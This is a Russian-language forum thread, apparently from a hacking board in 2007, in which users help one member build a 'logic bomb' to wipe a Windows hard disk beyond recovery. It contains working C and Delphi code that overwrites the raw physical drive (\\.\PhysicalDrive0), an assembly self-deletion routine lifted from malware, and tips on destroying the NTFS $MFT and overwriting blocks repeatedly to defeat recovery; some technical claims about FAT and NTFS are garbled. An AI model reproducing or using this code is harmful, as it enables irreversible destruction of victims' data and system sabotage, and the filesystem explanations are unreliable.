PDA

Просмотр полной версии : Windows , HDD и NTFS


_nic
16.06.2007, 22:28
Пытаюсь написать так называемую логическую бомбу :rolleyes: Смысл в том чтобы часть поверхности жесткого диска с виндой покрыть нолями первое что пришло в голову было это:

char buffer[512];
HANDLE fisdrive,f;
DWORD num;int a;
drive=CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL);
for(;;)
{
for(int b=0;b<5;b++)
{
memset(buffer,0,512);
SetFilePointer(drive,512*a,NULL,FILE_BEGIN);
WriteFile(drive,buffer,512,&num,NULL);
}
a=a+1000;
}
Эксперементировал на вмваре .К сожалению виндовс загрузился и чекдиск все пофиксил :( .У кого нибудь есь идеи как уничтожить инфу на жестком диске?Возможно можно вычислить область где хранится резервная FAT таблица?

Metal
16.06.2007, 22:43
.data
szBatchFile2 db ":k",13,10,"del %1",13,10,"if exist %1 goto k",13,10,"del %0",0
szBatchName2 db "a.bat",0

.code

DoSelfDelete proc
LOCAL hFile: DWORD
LOCAL bWritten: DWORD

invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH
invoke lstrcpy, offset lpBuf1, offset lpBuf2

lea eax, lpBuf2
xor edx, edx
@loop:
cmp byte ptr[eax], '\'
jne @next
mov edx, eax
@next:
inc eax
cmp byte ptr[eax], 0
jnz @loop

inc edx
mov byte ptr[edx], 0
invoke lstrcat, offset lpBuf2, offset szBatchName2


invoke CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
mov hFile, eax
inc eax
jz @end

invoke lstrlen, offset szBatchFile2
mov edx, eax
invoke WriteFile, hFile, offset szBatchFile2, edx, addr bWritten, NULL
invoke CloseHandle, hFile

szText SelfDelQuoteFmt2, '"%s"'
invoke wsprintf, offset lpBuf3, addr SelfDelQuoteFmt2, offset lpBuf1


xor eax, eax
push SW_HIDE
push eax
push offset lpBuf3
push offset lpBuf2
push offset szTextOpen
push eax
call ShellExecute
@end:
ret
DoSelfDelete end


этот код из хинча!форматирует диск может поможет тебе !
обьясняю тебе структуру винта в самом начале храниться зсгрусчик(если это активный диск я думаю) после этого таблица фаилов(FAT) после этого корневой католок уже тлько после него данные!
если ты убьешь ФАТ то востановить данные не составить труда а вот если убить и фат и данные то будет кул!:)

Piflit
16.06.2007, 22:48
Metal, я так понял, _nic'y не на асме нужен

_nic
16.06.2007, 23:11
Да асмом я не владею.И ещё допустим удастся основную фат убить но насколько я знаю нтфс имеет резервную копию фат таблицы как с ней поступить?

slesh
16.06.2007, 23:23
2 _nic я вот юзал вот этот код:
Он хоть и почти как твой, но всёже при тестах на виртуалке, уже после 10-20 секунд работы винда вообще немогла одуплится. т.е. негрузилась даже.
Код начинает с самого начала забивать винт рожицей.
Когда дохидит до файла подкачки(моё предположение), то винда вылетает в BSoD
Если этот код запускается при загрузки системы. т.е. вмантирован в сервис.
по просто винда долго грузится долговато,а потом вылетает в BSoD
Если этот код работает хотябы 5 секунд то врядли уже что можно восстановить виндовыми прогами.


procedure killHDD(fn:string);
var
f:thandle;
z,c:integer;
buf:pointer;
buf_len:integer;
label m2;
begin
buf_len:=1024*4;
getmem(buf,buf_len);
asm
push eax
push ecx
mov eax,buf
xor ecx,ecx
@m1:
mov [eax+ecx],01010101h
add ecx,4
cmp ecx,buf_len
jb @m1
pop ecx
pop eax
end;
m2:
f:=fileopen(fn,2);
if f=invalid_handle_value then exit;
repeat
writefile(f,buf^,buf_len,cardinal(z),nil);
if z=0 then
begin
closehandle(f);
buf_len:=buf_len-512;
if buf_len=0 then exit;
goto m2;
end;
until 1=0;
end;



юзать код так:
killHDD('\\.\PhysicalDrive0');

slesh
16.06.2007, 23:35
ну если дело на то пошло, то в NTFS вместо FAT юзается системный файл с именем $MFT
вот если затереть его, то уже восстановить врядли удастся виндовыми утилитами.
Хотя EasyRecovery запросто найдет все файлы на винте. вот тока названия не будет у них.

Metal
17.06.2007, 01:16
моно и многоми другими прогами это все дело востановить!да а снозвание фаилов проблемы будут!но суть не в этом а в том что фаил мфс это и есть резервная копипая фат и краткого описания фаилов т.е. когда нехватает места на винте этот фаил урезаеться а фат ана и в африке фат и распологаться по идее должна сразу после загрузчика!(я так думаю) а вобще думаю что покрывать не вес винт 0 а ну допустим через блок или 2 блока... дело быстрей пойдет и фаилы толком не востановяться..... а что бы из никогда не востановить лучше каждый блок перезаписать 2-3 раза!:)

_Great_
17.06.2007, 10:22
ТС: Кстати зря ты каждый раз обнуляешь 512 байт одно и того же буфера. Тормоза будут.

NetMan
17.06.2007, 19:20
Metal > тот сурс что ты дал производит самоудаление exe через bat файл, а никакое не форматирование!

Metal
17.06.2007, 20:28
яж написал что из ксинча выдрал.... кстаи проверерял норм работает!:) а так все что знал про фат вроде написал...